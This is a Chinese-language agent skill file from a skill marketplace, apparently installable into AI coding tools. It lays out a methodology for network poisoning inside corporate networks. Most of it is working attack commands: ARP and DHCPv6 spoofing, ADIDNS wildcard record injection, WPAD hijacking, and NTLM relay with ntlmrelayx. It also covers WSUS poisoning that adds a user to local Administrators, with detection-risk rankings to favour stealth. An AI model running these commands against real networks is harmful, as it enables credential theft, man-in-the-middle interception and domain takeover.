skills/lateral/network-poisoning-attack/SKILL.md
内网渗透中的网络层投毒和协议欺骗攻击方法论。当需要通过网络投毒获取 NTLM 认证、实现中间人攻击时使用。覆盖 ARP 投毒、DHCP 投毒、DHCPv6/mitm6 欺骗、DNS 欺骗、ADIDNS 记录注入、WPAD 劫持、WSUS 投毒、ICMP 重定向、NBT Name Overwrite。通常作为 NTLM relay 攻击的前置步骤。
npx skillsauth add wgpsec/AboutSecurity network-poisoning-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
通过污染网络层协议(ARP、DHCP、DNS、WPAD 等)实现中间人定位或强制认证触发,是 NTLM relay 攻击最常用的前置步骤。
网络位置与条件?
├── 同广播域
│ ├── 快速 MITM → ARP 投毒 (高检测风险)
│ ├── IPv6 未禁用 → DHCPv6/mitm6 (推荐)
│ ├── DHCP 环境 → DHCP 投毒
│ └── 被动监听 → LLMNR/NBT-NS (已有 → ntlm-relay-attack)
├── 域环境 + 域凭证
│ ├── ADIDNS 记录注入 (最稳定)
│ └── WPAD 劫持 (结合 ADIDNS/DHCPv6)
├── WSUS 使用 HTTP
│ └── WSUS 投毒
└── DNS 已控制
└── DNS 欺骗
| 投毒方式 | 前置条件 | 检测风险 | 适用场景 | |----------|----------|----------|----------| | ARP 投毒 | 同广播域 | 高 (ARP 异常) | 快速 MITM,需即时效果 | | DHCP 投毒 | 同广播域 | 中 | 持久 DNS/WPAD 注入 | | DHCPv6/mitm6 | IPv6 未禁用 | 低 | 推荐,隐蔽获取 NTLM | | DNS 欺骗 | 已控制 DNS 流量 | 低 | 精准域名劫持 | | ADIDNS 注入 | 域凭证 | 极低 | 最稳定,域级 DNS 投毒 | | WPAD 劫持 | 见各子方式 | 中 | 透明代理捕获认证 | | WSUS 投毒 | HTTP WSUS | 中 | 代码执行 (非凭证) | | ICMP 重定向 | 同网段 | 低 | 现代 OS 多忽略 |
ARP 协议无认证机制,攻击者发送伪造 ARP 响应将自身 MAC 地址绑定到网关或目标 IP,实现流量劫持。分为双向(fullduplex)和单向投毒。
# bettercap 交互模式
bettercap -iface eth0
# 单向投毒(仅欺骗目标,让目标流量经过攻击者)
set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex false
arp.spoof on
# 双向投毒(同时欺骗目标和网关)
set arp.spoof.targets $CLIENT_IP
set arp.spoof.fullduplex true
arp.spoof on
# 开启 IP 转发(Linux)
sysctl -w net.ipv4.ip_forward=1
iptables --policy FORWARD ACCEPT
# 将目标发往 $SERVER_IP:445 的流量重定向到攻击者
set any.proxy.src_address $SERVER_IP
set any.proxy.src_port 445
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 445
any.proxy on
# 当目标检查源 IP 时,需要 iptables NAT 伪装
iptables -t nat -A PREROUTING -p tcp -d $SERVER_IP --dport 445 -j DNAT --to-destination $ATTACKER_IP:445
iptables -t nat -A POSTROUTING -p tcp -s $CLIENT_IP --dport 445 -j SNAT --to-source $SERVER_IP
ARP 投毒获得 MITM 位置后,使用 any.proxy 将 SMB/HTTP 流量重定向到 ntlmrelayx 监听端口。
通过 Responder 的 DHCP 模式响应客户端 DHCP 请求,注入恶意 DNS 服务器或 WPAD 配置。效果持续到客户端 DHCP 租约过期或重启。
# DNS 注入模式(注入 DNS + WPAD)
responder -I "eth0" -wPdD
# 仅 WPAD 注入
responder -I "eth0" -wPd
# -d: DHCP 响应中注入 DNS
# -D: DHCP 响应中注入 WPAD
# -w: 启动 WPAD rogue proxy
# -P: 强制 NTLM 认证(Proxy Auth)
# WPAD 注入 + ntlmrelayx 作为代理
ntlmrelayx.py -t $TARGET --http-port 3128
# Responder 将 WPAD 配置指向 $ATTACKER_IP:3128
Windows 默认启用 IPv6 且优先使用 IPv6 DNS。mitm6 伪装 DHCPv6 服务器为目标分配 IPv6 DNS,将所有 DNS 查询指向攻击者。隐蔽性高,对 IPv4 网络无影响。
# 启动 mitm6
mitm6 --interface eth0 --domain $DOMAIN
# 指定目标(减少影响范围)
mitm6 --interface eth0 --domain $DOMAIN --host-allowlist $TARGET_HOSTNAME
set dhcp6.spoof.domains $DOMAIN
dhcp6.spoof on
set dns.spoof.domains *.$DOMAIN
dns.spoof on
# 经典组合:mitm6 + ntlmrelayx
# 终端 1
mitm6 -d $DOMAIN
# 终端 2
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
# -wh: 设置 WPAD 主机名,触发 HTTP 认证
# --delegate-access: 自动配置 RBCD
在已获得 MITM 位置(ARP 投毒等)后,拦截并篡改 DNS 响应,将目标域名解析到攻击者 IP。需要先有流量劫持能力。
# dnschef(独立 DNS 代理)
dnschef --fakeip $ATTACKER_IP --interface $ATTACKER_IP --port 53
# 指定域名
dnschef --fakedomains $DOMAIN --fakeip $ATTACKER_IP --interface $ATTACKER_IP
# Responder 内置 DNS
responder -I "eth0"
# bettercap dns.spoof
set dns.spoof.domains *.$DOMAIN
set dns.spoof.address $ATTACKER_IP
dns.spoof on
DNS 欺骗将目标对特定服务的访问重定向到攻击者,配合 ntlmrelayx 捕获认证请求。
Active Directory 集成 DNS(ADIDNS)默认允许任何域用户创建新的 DNS 子对象。通过添加通配符记录(*),可将所有未明确定义的 DNS 查询解析到攻击者 IP。这是最稳定、检测风险最低的投毒方式。
# 检查是否存在 WINS forward lookup(type 65281,会干扰通配符)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '@' --action 'query' $DC
# 添加通配符记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC
# 指定 DNS 分区(--legacy 用于旧 DNS 区域,--forest 用于森林级)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP --legacy $DC
# 清理(务必在完成后执行)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action remove $DC
# 添加通配符 A 记录
New-ADIDNSNode -Node * -Data $ATTACKER_IP
# 添加指定记录
New-ADIDNSNode -Node wpad -Data $ATTACKER_IP
# 自动 ADIDNS 注入 + 投毒
Invoke-Inveigh -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3
# combo: 通配符 + NS 记录组合
# ADIDNSThreshold: 未解析查询达到阈值后才注入(降低误报)
通配符记录使所有不存在的主机名解析到攻击者,配合 Responder/ntlmrelayx 自动捕获认证。
WPAD(Web Proxy Auto-Discovery)解析链:DHCP Option 252 → DNS 查询 wpad.$DOMAIN → LLMNR/NBT-NS 广播。劫持任一环节即可让目标通过攻击者代理上网,触发 NTLM 认证。
# LLMNR/NBT-NS 响应 WPAD 查询
responder -I "eth0" -wP
# -w: WPAD rogue proxy
# -P: 强制 Proxy NTLM 认证
MS16-077 后 WPAD 不再通过广播解析,需要 ADIDNS 注入绕过:
# 方式 1: 添加 wpad A 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action add --data $ATTACKER_IP $DC
# 方式 2: 添加 NS 记录委派
# PowerShell NS 记录(将 wpad 子域委派到攻击者)
New-ADIDNSNode -Node wpad -Type NS -Data 'attacker.$DOMAIN'
# 攻击者运行 dnschef 响应 wpad 查询
# 当 DNS 中 wpad 记录已存在但指向错误时
mitm6 --domain $DOMAIN
# mitm6 通过 DHCPv6 让目标使用攻击者 DNS,直接控制 wpad 解析
WPAD 代理自动触发 HTTP NTLM 认证,直接转发到 ntlmrelayx。
如果 WSUS(Windows Server Update Services)使用 HTTP 而非 HTTPS,攻击者可在 MITM 位置下替换更新包,实现代码执行。注意这是代码执行而非凭证获取。
# 远程查询(需要访问权限)
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
# 如果是 http:// 开头 → 可投毒
# 启动恶意 WSUS 服务器
python3 pywsus.py --host $ATTACKER_IP --port 8530 \
--executable /path/to/PsExec64.exe \
--command '/accepteula /s cmd.exe /c "net localgroup Administrators $DOMAIN\\$USER /add"'
# ARP 投毒后重定向 WSUS 流量
set any.proxy.src_port 8530
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 8530
any.proxy on
wuauclt /detectnow /updatenow 或 UsoClient StartScanWSUS 投毒主要用于代码执行,不直接衔接 NTLM relay。
ICMP Redirect 消息通知主机更优路由路径,攻击者伪造 ICMP Redirect 将目标流量重定向到自身。但现代 OS(Windows 10+、Linux 默认)大多忽略 ICMP Redirect。
python3 tools/Icmp-Redirect.py \
--interface eth0 \
--ip $ATTACKER_IP \
--gateway $GATEWAY \
--target $TARGET \
--route $DNS_SERVER
有限。现代操作系统默认禁用或忽略 ICMP Redirect,仅在特定老旧环境中有效。
NetBIOS 名称覆盖攻击通过发送 NetBIOS Name Overwrite 包修改目标的名称表,将特定名称关联到攻击者 IP。
实际工具支持有限,主要作为理论参考。在实战中优先使用 ADIDNS 或 DHCPv6 等更可靠的方式。
# 终端 1: DHCPv6 投毒
mitm6 -d $DOMAIN
# 终端 2: LDAP relay + RBCD
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
# Step 1: 注入通配符 DNS 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC
# Step 2: 启动 Responder(关闭 SMB/HTTP)
responder -I eth0
# Step 3: 启动 ntlmrelayx
ntlmrelayx.py -t $TARGET -smb2support
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能